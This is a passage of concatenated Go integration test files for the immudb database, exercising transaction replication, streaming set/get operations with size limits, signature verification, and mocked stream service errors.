[]byte(`immudb`), "replicateddb") require.NoError(t, err) defer rclient.CloseSession(context.Background()) rmd := metadata.Pairs( "skip-integrity-check", strconv.FormatBool(true), "wait-for-indexing", strconv.FormatBool(false), ) rctx := metadata.NewOutgoingContext(context.Background(), rmd) for i := uint64(1); i <= hdr.Id; i++ { exportTxStream, err := client.ExportTx(context.Background(), &schema.ExportTxRequest{ Tx: i, SkipIntegrityCheck: true, }) require.NoError(t, err) replicateTxStream, err := rclient.ReplicateTx(rctx) require.NoError(t, err) for { txChunk, err := exportTxStream.Recv() if err == io.EOF { break } require.NoError(t, err) err = replicateTxStream.Send(txChunk) require.NoError(t, err) } hdr, err := replicateTxStream.CloseAndRecv() require.NoError(t, err) require.Equal(t, i, hdr.Id) } replicatedEntry, err := rclient.GetAt(rctx, []byte("key1"), hdr.Id) require.NoError(t, err) require.Equal(t, []byte("value1"), replicatedEntry.Value) require.Equal(t, hdr.Id, replicatedEntry.Tx) err = client.CloseSession(context.Background()) require.NoError(t, err) _, err = client.ExportTx(context.Background(), &schema.ExportTxRequest{Tx: 1}) require.ErrorIs(t, err, ic.ErrNotConnected) err = rclient.CloseSession(context.Background()) require.NoError(t, err) _, err = rclient.ReplicateTx(rctx) require.ErrorIs(t, err, ic.ErrNotConnected) } ================================================ FILE: pkg/integration/stream/stream_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package integration import ( "bufio" "bytes" "context" "crypto/sha256" ic "github.com/codenotary/immudb/pkg/client" "github.com/codenotary/immudb/pkg/client/errors" "github.com/codenotary/immudb/pkg/signer" "fmt" "io" "log" "os" "testing" "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/pkg/server" "github.com/codenotary/immudb/pkg/server/servertest" "github.com/codenotary/immudb/pkg/stream" "github.com/codenotary/immudb/pkg/stream/streamtest" "github.com/codenotary/immudb/pkg/streamutils" "github.com/stretchr/testify/require" ) func setupTestWithSignatures(t *testing.T, privKey string, pubKey string) (*servertest.BufconnServer, ic.ImmuClient) { options := server.DefaultOptions().WithDir(t.TempDir()) if privKey != "" { options = options.WithSigningKey("./../../../test/signer/" + privKey) } bs := servertest.NewBufconnServer(options) bs.Start() t.Cleanup(func() { bs.Stop() }) cliOpts := ic.DefaultOptions().WithDir(t.TempDir()) if pubKey != "" { cliOpts = cliOpts.WithServerSigningPubKey("./../../../test/signer/" + pubKey) } client, err := bs.NewAuthenticatedClient(cliOpts) require.NoError(t, err) t.Cleanup(func() { client.CloseSession(context.Background()) }) return bs, client } func setupTest(t *testing.T) (*servertest.BufconnServer, ic.ImmuClient) { return setupTestWithSignatures(t, "", "") } func TestImmuClient_SetGetStream(t *testing.T) { _, client := setupTest(t) tmpFile, err := streamtest.GenerateDummyFile("myFile1", 1_000_000) require.NoError(t, err) defer tmpFile.Close() defer os.Remove(tmpFile.Name()) hOrig := sha256.New() _, err = io.Copy(hOrig, tmpFile) require.NoError(t, err) oriSha := hOrig.Sum(nil) tmpFile.Seek(0, io.SeekStart) kvs, err := streamutils.GetKeyValuesFromFiles(tmpFile.Name()) require.NoError(t, err) hdr, err := client.StreamSet(context.Background(), kvs) require.NoError(t, err) require.NotNil(t, hdr) entry, err := client.StreamGet(context.Background(), &schema.KeyRequest{Key: []byte(tmpFile.Name())}) require.NoError(t, err) require.NotNil(t, hdr) newSha := sha256.Sum256(entry.Value) require.Equal(t, oriSha, newSha[:]) } func TestImmuClient_Set32MBStream(t *testing.T) { _, client := setupTest(t) tmpFile, err := streamtest.GenerateDummyFile("myFile1", (32<<20)-1) require.NoError(t, err) defer tmpFile.Close() defer os.Remove(tmpFile.Name()) kvs, err := streamutils.GetKeyValuesFromFiles(tmpFile.Name()) require.NoError(t, err) hdr, err := client.StreamSet(context.Background(), kvs) require.NoError(t, err) require.NotNil(t, hdr) _, err = client.StreamGet(context.Background(), &schema.KeyRequest{Key: []byte(tmpFile.Name())}) require.NoError(t, err) require.NotNil(t, hdr) } func TestImmuClient_SetMaxValueExceeded(t *testing.T) { _, client := setupTest(t) tmpFile, err := streamtest.GenerateDummyFile("myFile1", 32<<20) require.NoError(t, err) defer tmpFile.Close() defer os.Remove(tmpFile.Name()) kvs, err := streamutils.GetKeyValuesFromFiles(tmpFile.Name()) require.NoError(t, err) _, err = client.StreamSet(context.Background(), kvs) require.ErrorContains(t, err, stream.ErrMaxValueLenExceeded) require.Equal(t, errors.CodDataException, err.(errors.ImmuError).Code()) } func TestImmuClient_SetMaxTxValuesExceeded(t *testing.T) { _, client := setupTest(t) tmpFile1, err := streamtest.GenerateDummyFile("myFile1", 16<<20) require.NoError(t, err) defer tmpFile1.Close() defer os.Remove(tmpFile1.Name()) tmpFile2, err := streamtest.GenerateDummyFile("tmpFile2", 16<<20) require.NoError(t, err) defer tmpFile2.Close() defer os.Remove(tmpFile2.Name()) tmpFile3, err := streamtest.GenerateDummyFile("tmpFile3", 16<<20) require.NoError(t, err) defer tmpFile3.Close() defer os.Remove(tmpFile3.Name()) kvs, err := streamutils.GetKeyValuesFromFiles(tmpFile1.Name(), tmpFile2.Name(), tmpFile3.Name()) require.NoError(t, err) _, err = client.StreamSet(context.Background(), kvs) require.ErrorContains(t, err, stream.ErrMaxTxValuesLenExceeded) require.Equal(t, errors.CodDataException, err.(errors.ImmuError).Code()) } func TestImmuClient_SetGetSmallMessage(t *testing.T) { _, client := setupTest(t) tmpFile, err := streamtest.GenerateDummyFile("myFile1", 1) require.NoError(t, err) defer tmpFile.Close() defer os.Remove(tmpFile.Name()) hOrig := sha256.New() _, err = io.Copy(hOrig, tmpFile) require.NoError(t, err) oriSha := hOrig.Sum(nil) tmpFile.Seek(0, io.SeekStart) kvs, err := streamutils.GetKeyValuesFromFiles(tmpFile.Name()) require.NoError(t, err) hdr, err := client.StreamSet(context.Background(), kvs) require.NoError(t, err) require.NotNil(t, hdr) entry, err := client.StreamGet(context.Background(), &schema.KeyRequest{Key: []byte(tmpFile.Name())}) require.NoError(t, err) require.NotNil(t, hdr) newSha := sha256.Sum256(entry.Value) require.Equal(t, oriSha, newSha[:]) } func TestImmuClient_SetMultipleKeys(t *testing.T) { _, client := setupTest(t) key1 := []byte("key1") val1 := []byte("val1") key2 := []byte("key2") val2 := []byte("val2") kv1 := &stream.KeyValue{ Key: &stream.ValueSize{ Content: bufio.NewReader(bytes.NewBuffer(key1)), Size: len(key1), }, Value: &stream.ValueSize{ Content: bufio.NewReader(bytes.NewBuffer(val1)), Size: len(val1), }, } kv2 := &stream.KeyValue{ Key: &stream.ValueSize{ Content: bufio.NewReader(bytes.NewBuffer(key2)), Size: len(key2), }, Value: &stream.ValueSize{ Content: bufio.NewReader(bytes.NewBuffer(val2)), Size: len(val2), }, } kvs := []*stream.KeyValue{kv1, kv2} hdr, err := client.StreamSet(context.Background(), kvs) require.NoError(t, err) require.NotNil(t, hdr) entry1, err := client.StreamGet(context.Background(), &schema.KeyRequest{Key: key1}) require.NoError(t, err) require.NotNil(t, hdr) require.Equal(t, val1, entry1.Value) require.Equal(t, sha256.Sum256(val1), sha256.Sum256(entry1.Value)) entry2, err := client.StreamGet(context.Background(), &schema.KeyRequest{Key: key2}) require.NoError(t, err) require.NotNil(t, hdr) require.Equal(t, val2, entry2.Value) } func TestImmuClient_SetMultipleLargeEntries(t *testing.T) { _, client := setupTest(t) tmpFile1, err := streamtest.GenerateDummyFile("myFile1", 1<<14) require.NoError(t, err) defer tmpFile1.Close() defer os.Remove(tmpFile1.Name()) hOrig1 := sha256.New() _, err = io.Copy(hOrig1, tmpFile1) require.NoError(t, err) oriSha1 := hOrig1.Sum(nil) tmpFile2, err := streamtest.GenerateDummyFile("myFile1", 1<<13) require.NoError(t, err) defer tmpFile2.Close() defer os.Remove(tmpFile2.Name()) hOrig2 := sha256.New() _, err = io.Copy(hOrig2, tmpFile2) require.NoError(t, err) oriSha2 := hOrig2.Sum(nil) kvs, err := streamutils.GetKeyValuesFromFiles(tmpFile1.Name(), tmpFile2.Name()) hdr, err := client.StreamSet(context.Background(), kvs) require.NoError(t, err) require.NotNil(t, hdr) entry1, err := client.StreamGet(context.Background(), &schema.KeyRequest{Key: []byte(tmpFile1.Name())}) require.NoError(t, err) newSha1 := sha256.Sum256(entry1.Value) require.Equal(t, oriSha1, newSha1[:]) entry2, err := client.StreamGet(context.Background(), &schema.KeyRequest{Key: []byte(tmpFile2.Name())}) require.NoError(t, err) newSha2 := sha256.Sum256(entry2.Value) require.Equal(t, oriSha2, newSha2[:]) } func TestImmuClient_SetMultipleKeysLoop(t *testing.T) { _, client := setupTest(t) kvs := []*stream.KeyValue{} for i := 1; i <= 100; i++ { kv := &stream.KeyValue{ Key: &stream.ValueSize{ Content: bufio.NewReader(bytes.NewBuffer([]byte(fmt.Sprintf("key-%d", i)))), Size: len([]byte(fmt.Sprintf("key-%d", i))), }, Value: &stream.ValueSize{ Content: bufio.NewReader(bytes.NewBuffer([]byte(fmt.Sprintf("val-%d", i)))), Size: len([]byte(fmt.Sprintf("val-%d", i))), }, } kvs = append(kvs, kv) } hdr, err := client.StreamSet(context.Background(), kvs) require.NoError(t, err) require.NotNil(t, hdr) for i := 1; i <= 100; i++ { _, err = client.StreamGet(context.Background(), &schema.KeyRequest{Key: []byte(fmt.Sprintf("key-%d", i))}) require.NoError(t, err) require.NotNil(t, hdr) } } func TestImmuClient_StreamScan(t *testing.T) { _, client := setupTest(t) kvs := []*stream.KeyValue{} for i := 1; i <= 100; i++ { kv := &stream.KeyValue{ Key: &stream.ValueSize{ Content: bufio.NewReader(bytes.NewBuffer([]byte(fmt.Sprintf("key-%d", i)))), Size: len([]byte(fmt.Sprintf("key-%d", i))), }, Value: &stream.ValueSize{ Content: bufio.NewReader(bytes.NewBuffer([]byte(fmt.Sprintf("val-%d", i)))), Size: len([]byte(fmt.Sprintf("val-%d", i))), }, } kvs = append(kvs, kv) } hdr, err := client.StreamSet(context.Background(), kvs) require.NoError(t, err) require.NotNil(t, hdr) scanResp, err := client.StreamScan(context.Background(), &schema.ScanRequest{ Prefix: []byte("key"), SinceTx: hdr.Id, }) require.Len(t, scanResp.Entries, 100) } func TestImmuClient_SetEmptyReader(t *testing.T) { _, client := setupTest(t) kv1 := &stream.KeyValue{ Key: &stream.ValueSize{ Content: bufio.NewReader(bytes.NewBuffer([]byte(`myKey1`))), Size: len([]byte(`myKey1`)), }, Value: &stream.ValueSize{ Content: bufio.NewReader(bytes.NewBuffer([]byte{})), Size: int(50), }, } kv2 := &stream.KeyValue{ Key: &stream.ValueSize{ Content: bufio.NewReader(bytes.NewBuffer([]byte(`myKey2`))), Size: len([]byte(`myKey2`)), }, Value: &stream.ValueSize{ Content: bufio.NewReader(bytes.NewBuffer([]byte(`myKey2`))), Size: len([]byte(`myKey2`)), }, } kvs := []*stream.KeyValue{kv1, kv2} hdr, err := client.StreamSet(context.Background(), kvs) require.ErrorIs(t, err, io.EOF) require.Nil(t, hdr) } func TestImmuClient_SetSizeTooLarge(t *testing.T) { _, client := setupTest(t) kv1 := &stream.KeyValue{ Key: &stream.ValueSize{ Content: bufio.NewReader(bytes.NewBuffer([]byte(`myKey1`))), Size: len([]byte(`myKey1`)), }, Value: &stream.ValueSize{ Content: bufio.NewReader(bytes.NewBuffer([]byte(`myVal1`))), Size: len([]byte(`myVal1`)) + 10, }, } kvs := []*stream.KeyValue{kv1} hdr, err := client.StreamSet(context.Background(), kvs) require.ErrorIs(t, err, io.EOF) require.Nil(t, hdr) } func TestImmuClient_SetSizeTooLargeOnABigMessage(t *testing.T) { _, client := setupTest(t) f, _ := streamtest.GenerateDummyFile("myFile", 20_000_000) defer f.Close() defer os.Remove(f.Name()) kvs1, err := streamutils.GetKeyValuesFromFiles(f.Name()) kvs1[0].Value.Size = 22_000_000 hdr, err := client.StreamSet(context.Background(), kvs1) require.ErrorIs(t, err, io.EOF) require.Nil(t, hdr) f1, _ := streamtest.GenerateDummyFile("myFile1", 10_000_000) defer f.Close() defer os.Remove(f.Name()) f2, _ := streamtest.GenerateDummyFile("myFile2", 10_000_000) defer f.Close() defer os.Remove(f.Name()) kvs2, err := streamutils.GetKeyValuesFromFiles(f1.Name(), f2.Name()) kvs2[1].Value.Size = 12_000_000 hdr, err = client.StreamSet(context.Background(), kvs2) require.ErrorIs(t, err, io.EOF) require.Nil(t, hdr) } func TestImmuClient_ExecAll(t *testing.T) { _, client := setupTest(t) aOps := &stream.ExecAllRequest{ Operations: []*stream.Op{ { Operation: &stream.Op_KeyValue{ KeyValue: &stream.KeyValue{ Key: &stream.ValueSize{ Content: bytes.NewBuffer([]byte(`exec-all-key`)), Size: len([]byte(`exec-all-key`)), }, Value: &stream.ValueSize{ Content: bytes.NewBuffer([]byte(`exec-all-val`)), Size: len([]byte(`exec-all-val`)), }, }, }, }, { Operation: &stream.Op_ZAdd{ ZAdd: &schema.ZAddRequest{ Set: []byte(`exec-all-set`), Score: 85.4, Key: []byte(`exec-all-key`), AtTx: 0, BoundRef: true, }, }, }, { Operation: &stream.Op_KeyValue{ KeyValue: &stream.KeyValue{ Key: &stream.ValueSize{ Content: bytes.NewBuffer([]byte(`exec-all-key2`)), Size: len([]byte(`exec-all-key2`)), }, Value: &stream.ValueSize{ Content: bytes.NewBuffer([]byte(`exec-all-val2`)), Size: len([]byte(`exec-all-val2`)), }, }, }, }, { Operation: &stream.Op_ZAdd{ ZAdd: &schema.ZAddRequest{ Set: []byte(`exec-all-set`), Score: 85.4, Key: []byte(`exec-all-key2`), AtTx: 0, BoundRef: true, }, }, }, }, } hdr, err := client.StreamExecAll(context.Background(), aOps) require.NoError(t, err) require.NotNil(t, hdr) entry1, err := client.StreamGet(context.Background(), &schema.KeyRequest{Key: []byte(`exec-all-key`)}) require.NoError(t, err) require.Equal(t, []byte(`exec-all-val`), entry1.Value) entry2, err := client.StreamGet(context.Background(), &schema.KeyRequest{Key: []byte(`exec-all-key2`)}) require.NoError(t, err) require.Equal(t, []byte(`exec-all-val2`), entry2.Value) } func TestImmuClient_StreamWithSignature(t *testing.T) { _, client := setupTestWithSignatures(t, "ec1.key", "ec1.pub") _, err := client.StreamVerifiedSet(context.Background(), []*stream.KeyValue{{ Key: &stream.ValueSize{ Content: bufio.NewReader(bytes.NewBuffer([]byte(`key1`))), Size: len([]byte(`key1`)), }, Value: &stream.ValueSize{ Content: bufio.NewReader(bytes.NewBuffer([]byte(`val`))), Size: len([]byte(`val`)), }, }}) require.NoError(t, err) _, err = client.StreamVerifiedGet(context.Background(), &schema.VerifiableGetRequest{KeyRequest: &schema.KeyRequest{Key: []byte(`key1`)}}) require.NoError(t, err) hdr2, err := client.StreamVerifiedSet(context.Background(), []*stream.KeyValue{{ Key: &stream.ValueSize{ Content: bufio.NewReader(bytes.NewBuffer([]byte(`key2`))), Size: len([]byte(`key2`)), }, Value: &stream.ValueSize{ Content: bufio.NewReader(bytes.NewBuffer([]byte(`val`))), Size: len([]byte(`val`)), }, }}) require.NoError(t, err) _, err = client.StreamVerifiedGet(context.Background(), &schema.VerifiableGetRequest{ KeyRequest: &schema.KeyRequest{Key: []byte(`key1`)}, ProveSinceTx: hdr2.Id, }) require.NoError(t, err) } func TestImmuClient_StreamWithSignatureErrors(t *testing.T) { _, client := setupTestWithSignatures(t, "ec1.key", "ec3.pub") _, err := client.StreamVerifiedSet(context.Background(), []*stream.KeyValue{{ Key: &stream.ValueSize{ Content: bufio.NewReader(bytes.NewBuffer([]byte(`key`))), Size: len([]byte(`key`)), }, Value: &stream.ValueSize{ Content: bufio.NewReader(bytes.NewBuffer([]byte(`val`))), Size: len([]byte(`val`)), }, }}) require.ErrorContains(t, err, signer.ErrKeyCannotBeVerified.Error()) _, err = client.StreamVerifiedGet(context.Background(), &schema.VerifiableGetRequest{KeyRequest: &schema.KeyRequest{Key: []byte(`key`)}}) require.ErrorContains(t, err, signer.ErrKeyCannotBeVerified.Error()) } func TestImmuClient_StreamWithSignatureErrorsMissingServerKey(t *testing.T) { _, client := setupTestWithSignatures(t, "", "ec3.pub") _, err := client.StreamVerifiedSet(context.Background(), []*stream.KeyValue{{ Key: &stream.ValueSize{ Content: bufio.NewReader(bytes.NewBuffer([]byte(`key`))), Size: len([]byte(`key`)), }, Value: &stream.ValueSize{ Content: bufio.NewReader(bytes.NewBuffer([]byte(`val`))), Size: len([]byte(`val`)), }, }}) require.ErrorContains(t, err, "unable to verify signature") _, err = client.StreamVerifiedGet(context.Background(), &schema.VerifiableGetRequest{KeyRequest: &schema.KeyRequest{Key: []byte(`key`)}}) require.ErrorContains(t, err, "unable to verify signature") } func TestImmuClient_StreamWithSignatureErrorsWrongClientKey(t *testing.T) { // first set and get needed to create a state and avoid that execution will be break by current state signature verification bs, client := setupTestWithSignatures(t, "ec3.key", "ec3.pub") _, err := client.StreamVerifiedSet(context.Background(), []*stream.KeyValue{{ Key: &stream.ValueSize{ Content: bufio.NewReader(bytes.NewBuffer([]byte(`key`))), Size: len([]byte(`key`)), }, Value: &stream.ValueSize{ Content: bufio.NewReader(bytes.NewBuffer([]byte(`val`))), Size: len([]byte(`val`)), }, }}) require.NoError(t, err) _, err = client.StreamVerifiedGet(context.Background(), &schema.VerifiableGetRequest{KeyRequest: &schema.KeyRequest{Key: []byte(`key`)}}) require.NoError(t, err) err = client.CloseSession(context.Background()) require.NoError(t, err) // Crete client that verifies using different public key client, err = bs.NewAuthenticatedClient(ic. DefaultOptions(). WithDir(t.TempDir()). WithServerSigningPubKey("./../../../test/signer/ec1.pub"), ) require.NoError(t, err) _, err = client.StreamVerifiedGet(context.Background(), &schema.VerifiableGetRequest{KeyRequest: &schema.KeyRequest{Key: []byte(`key`)}}) require.ErrorContains(t, err, signer.ErrKeyCannotBeVerified.Error()) _, err = client.StreamVerifiedSet(context.Background(), []*stream.KeyValue{{ Key: &stream.ValueSize{ Content: bufio.NewReader(bytes.NewBuffer([]byte(`key`))), Size: len([]byte(`key`)), }, Value: &stream.ValueSize{ Content: bufio.NewReader(bytes.NewBuffer([]byte(`val`))), Size: len([]byte(`val`)), }, }}) require.ErrorContains(t, err, signer.ErrKeyCannotBeVerified.Error()) } func TestImmuClient_StreamerServiceErrors(t *testing.T) { options := server.DefaultOptions().WithDir(t.TempDir()) bs := servertest.NewBufconnServer(options) err := bs.Start() require.NoError(t, err) defer bs.Stop() sfm := DefaultServiceFactoryMock() sfm.NewMsgSenderF = func(str stream.ImmuServiceSender_Stream) stream.MsgSender { sm := streamtest.DefaultImmuServiceSenderStreamMock() s := streamtest.DefaultMsgSenderMock(sm, 4096) s.SendF = func(reader io.Reader, payloadSize int, metadata map[string][]byte) (err error) { return errors.New("custom one") } return streamtest.DefaultMsgSenderMock(sm, 4096) } sfm.NewMsgReceiverF = func(str stream.ImmuServiceReceiver_Stream) stream.MsgReceiver { return stream.NewMsgReceiver(str) } sfm.NewKvStreamSenderF = func(str stream.MsgSender) stream.KvStreamSender { return stream.NewKvStreamSender(str) } sfm.NewKvStreamReceiverF = func(str stream.MsgReceiver) stream.KvStreamReceiver { me := []*streamtest.MsgError{ {M: []byte{1, 1, 1}, E: errors.New("custom one")}, } msr := streamtest.DefaultMsgReceiverMock(me) return stream.NewKvStreamReceiver(msr, 4096) } sfm.NewVEntryStreamReceiverF = func(str stream.MsgReceiver) stream.VEntryStreamReceiver { me := []*streamtest.MsgError{ {M: []byte{1, 1, 1}, E: errors.New("custom one")}, } msr := streamtest.DefaultMsgReceiverMock(me) return stream.NewVEntryStreamReceiver(msr, 4096) } sfm.NewExecAllStreamSenderF = func(str stream.MsgSender) stream.ExecAllStreamSender { return stream.NewExecAllStreamSender(str) } client, err := bs.NewAuthenticatedClient(ic.DefaultOptions().WithDir(t.TempDir())) require.NoError(t, err) client.WithStreamServiceFactory(sfm) _, err = client.StreamVerifiedSet(context.Background(), []*stream.KeyValue{{ Key: &stream.ValueSize{ Content: bufio.NewReader(bytes.NewBuffer([]byte(`key`))), Size: len([]byte(`key`)), }, Value: &stream.ValueSize{ Content: bufio.NewReader(bytes.NewBuffer([]byte(`val`))), Size: len([]byte(`val`)), }, }}) require.ErrorIs(t, err, io.EOF) _, err = client.StreamVerifiedGet(context.Background(), &schema.VerifiableGetRequest{KeyRequest: &schema.KeyRequest{Key: []byte(`key`)}}) require.ErrorContains(t, err, "custom one") key := []byte("key3") val := []byte("val3") kv := &stream.KeyValue{ Key: &stream.ValueSize{ Content: bufio.NewReader(bytes.NewBuffer(key)), Size: len(key), }, Value: &stream.ValueSize{ Content: bufio.NewReader(bytes.NewBuffer(val)), Size: len(val), }, } _, err = client.StreamSet(context.Background(), []*stream.KeyValue{kv}) require.ErrorContains(t, err, "no entries provided") _, err = client.StreamGet(context.Background(), &schema.KeyRequest{Key: key}) require.ErrorContains(t, err, "custom one") _, err = client.StreamExecAll(context.Background(), &stream.ExecAllRequest{ Operations: []*stream.Op{ { Operation: &stream.Op_ZAdd{ ZAdd: &schema.ZAddRequest{ Set: []byte(`exec-all-set`), Score: 85.4, Key: []byte(`exec-all-key`), AtTx: 0, BoundRef: true, }, }, }, }, }) require.ErrorContains(t, err, "empty set") } func TestImmuClient_StreamerServiceHistoryErrors(t *testing.T) { options := server.DefaultOptions().WithDir(t.TempDir()) bs := servertest.NewBufconnServer(options) err := bs.Start() require.NoError(t, err) defer bs.Stop() sfm := DefaultServiceFactoryMock() sfm.NewMsgReceiverF = func(str stream.ImmuServiceReceiver_Stream) stream.MsgReceiver { return stream.NewMsgReceiver(str) } sfm.NewKvStreamSenderF = func(str stream.MsgSender) stream.KvStreamSender { return stream.NewKvStreamSender(str) } sfm.NewKvStreamReceiverF = func(str stream.MsgReceiver) stream.KvStreamReceiver { me := []*streamtest.MsgError{ {M: []byte{1, 1, 1}, E: errors.New("custom one")}, } msr := streamtest.DefaultMsgReceiverMock(me) return stream.NewKvStreamReceiver(msr, 4096) } sfm.NewZStreamReceiverF = func(str stream.MsgReceiver) stream.ZStreamReceiver { me := []*streamtest.MsgError{ {M: []byte{1, 1, 1}, E: errors.New("custom one")}, } msr := streamtest.DefaultMsgReceiverMock(me) return stream.NewZStreamReceiver(msr, 4096) } client, err := bs.NewAuthenticatedClient(ic.DefaultOptions().WithDir(t.TempDir())) require.NoError(t, err) client.WithStreamServiceFactory(sfm) _, err = client.StreamZScan(context.Background(), &schema.ZScanRequest{Set: []byte(`key`)}) require.ErrorContains(t, err, "custom one") _, err = client.StreamHistory(context.Background(), &schema.HistoryRequest{Key: []byte(`key`)}) require.ErrorContains(t, err, "custom one") } func TestImmuClient_ChunkToChunkGetStream(t *testing.T) { _, client := setupTest(t) file_size := 1_000_000 tmpFile, err := streamtest.GenerateDummyFile("myFile1", file_size) require.NoError(t, err) defer tmpFile.Close() defer os.Remove(tmpFile.Name()) tmpFile.Seek(0, io.SeekStart) kvs, err := streamutils.GetKeyValuesFromFiles(tmpFile.Name()) require.NoError(t, err) hdr, err := client.StreamSet(context.Background(), kvs) require.NoError(t, err) require.NotNil(t, hdr) sc := client.GetServiceClient() gs, err := sc.StreamGet(context.Background(), &schema.KeyRequest{Key: []byte(tmpFile.Name())}) require.NoError(t, err) kvr := stream.NewKvStreamReceiver(stream.NewMsgReceiver(gs), stream.DefaultChunkSize) _, vr, err := kvr.Next() require.NoError(t, err) l := 0 chunk := make([]byte, 4096) for { r, err := vr.Read(chunk) if err != nil && err != io.EOF { log.Fatal(err) } if err == io.EOF { break } l += r } require.Equal(t, file_size, l) } type ServiceFactoryMock struct { NewMsgSenderF func(str stream.ImmuServiceSender_Stream) stream.MsgSender NewMsgReceiverF func(str stream.ImmuServiceReceiver_Stream) stream.MsgReceiver NewKvStreamReceiverF func(str stream.MsgReceiver) stream.KvStreamReceiver NewKvStreamSenderF func(str stream.MsgSender) stream.KvStreamSender NewVEntryStreamReceiverF func(str stream.MsgReceiver) stream.VEntryStreamReceiver NewVEntryStreamSenderF func(str stream.MsgSender) stream.VEntryStreamSender NewZStreamReceiverF func(str stream.MsgReceiver) stream.ZStreamReceiver NewZStreamSenderF func(str stream.MsgSender) stream.ZStreamSender NewExecAllStreamReceiverF func(str stream.MsgReceiver) stream.ExecAllStreamReceiver NewExecAllStreamSenderF func(str stream.MsgSender) stream.ExecAllStreamSender } func (sfm *ServiceFactoryMock) NewMsgReceiver(str stream.ImmuServiceReceiver_Stream) stream.MsgReceiver { return sfm.NewMsgReceiverF(str) } func (sfm *ServiceFactoryMock) NewMsgSender(str stream.ImmuServiceSender_Stream) stream.MsgSender { return sfm.NewMsgSenderF(str) } func (sfm *ServiceFactoryMock) NewKvStreamReceiver(str stream.MsgReceiver) stream.KvStreamReceiver { return sfm.NewKvStreamReceiverF(str) } func (sfm *ServiceFactoryMock) NewKvStreamSender(str stream.MsgSender) stream.KvStreamSender { return sfm.NewKvStreamSenderF(str) } func (sfm *ServiceFactoryMock) NewVEntryStreamReceiver(str stream.MsgReceiver) stream.VEntryStreamReceiver { return sfm.NewVEntryStreamReceiverF(str) } func (sfm *ServiceFactoryMock) NewVEntryStreamSender(str stream.MsgSender) stream.VEntryStreamSender { return sfm.NewVEntryStreamSenderF(str) } func (sfm *ServiceFactoryMock) NewZStreamReceiver(str stream.MsgReceiver) stream.ZStreamReceiver { return sfm.NewZStreamReceiverF(str) } func (sfm *ServiceFactoryMock) NewZStreamSender(str stream.MsgSender) stream.ZStreamSender { return sfm.NewZStreamSenderF(str) } func (sfm *ServiceFactoryMock) NewExecAllStreamSender(str stream.MsgSender) stream.ExecAllStreamSender { return sfm.NewExecAllStreamSenderF(str) } func (sfm *ServiceFactoryMock) NewExecAllStreamReceiver(str stream.MsgReceiver) stream.ExecAllStreamReceiver { return sfm.NewExecAllStreamReceiverF(str) } func DefaultServiceFactoryMock() *ServiceFactoryMock { return &ServiceFactoryMock{} } func TestImmuClient_SessionSetGetStream(t *testing.T) { _, client := setupTest(t) tmpFile, err := streamtest.GenerateDummyFile("myFile1", 1_000_000) require.NoError(t, err) defer tmpFile.Close() defer os.Remove(tmpFile.Name()) hOrig := sha256.New() _, err = io.Copy(hOrig, tmpFile) require.NoError(t, err) oriSha := hOrig.Sum(nil) tmpFile.Seek(0, io.SeekStart) kvs, err := streamutils.GetKeyValuesFromFiles(tmpFile.Name()) require.NoError(t, err) hdr, err := client.StreamSet(context.Background(), kvs) require.NoError(t, err) require.NotNil(t, hdr) entry, err := client.StreamGet(context.Background(), &schema.KeyRequest{Key: []byte(tmpFile.Name())}) require.NoError(t, err) require.NotNil(t, hdr) newSha := sha256.Sum256(entry.Value) err = client.CloseSession(context.Background()) require.NoError(t, err) require.Equal(t, oriSha, newSha[:]) } ================================================ FILE: pkg/integration/stream/streams_verified_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package integration import ( "context" "crypto/sha256" "fmt" "io" "os" "testing" "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/pkg/stream/streamtest" "github.com/codenotary/immudb/pkg/streamutils" "github.com/stretchr/testify/require" ) func TestImmuClient_StreamVerifiedSetAndGet(t *testing.T) { _, client := setupTest(t) nbFiles := 3 fileNames := make([]string, 0, nbFiles) hashes := make([][]byte, 0, nbFiles) for i := 1; i <= nbFiles; i++ { tmpFile, err := streamtest.GenerateDummyFile( fmt.Sprintf("TestImmuClient_StreamVerifiedSetAndGet_InputFile_%d", i), 1<<(10+i)) require.NoError(t, err) defer tmpFile.Close() defer os.Remove(tmpFile.Name()) hash := sha256.New() _, err = io.Copy(hash, tmpFile) require.NoError(t, err) hashSum := hash.Sum(nil) fileNames = append(fileNames, tmpFile.Name()) hashes = append(hashes, hashSum) } // split the KVs so that the last one is set and get separately, so that // StreamVerifiedSet gets called a second time (to catch also the case when // local state exists and the verification is actually run) fileNames1 := fileNames[:len(fileNames)-1] lastFileName := fileNames[len(fileNames)-1] kvs1, err := streamutils.GetKeyValuesFromFiles(fileNames1...) require.NoError(t, err) lastKv, err := streamutils.GetKeyValuesFromFiles(lastFileName) require.NoError(t, err) // set and get all but the last one hdr, err := client.StreamVerifiedSet(context.Background(), kvs1) require.NoError(t, err) require.NotNil(t, hdr) for i, fileName := range fileNames1 { entry, err := client.StreamVerifiedGet(context.Background(), &schema.VerifiableGetRequest{ KeyRequest: &schema.KeyRequest{Key: []byte(fileName)}, }) require.NoError(t, err) newSha1 := sha256.Sum256(entry.Value) require.Equal(t, hashes[i], newSha1[:]) } // set and get the last one hdr, err = client.StreamVerifiedSet(context.Background(), lastKv) require.NoError(t, err) require.NotNil(t, hdr) entry, err := client.StreamVerifiedGet(context.Background(), &schema.VerifiableGetRequest{ KeyRequest: &schema.KeyRequest{Key: []byte(lastFileName)}, }) require.NoError(t, err) newSha1 := sha256.Sum256(entry.Value) require.Equal(t, hashes[len(hashes)-1], newSha1[:]) } ================================================ FILE: pkg/integration/stream/streams_zscan_and_history_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT 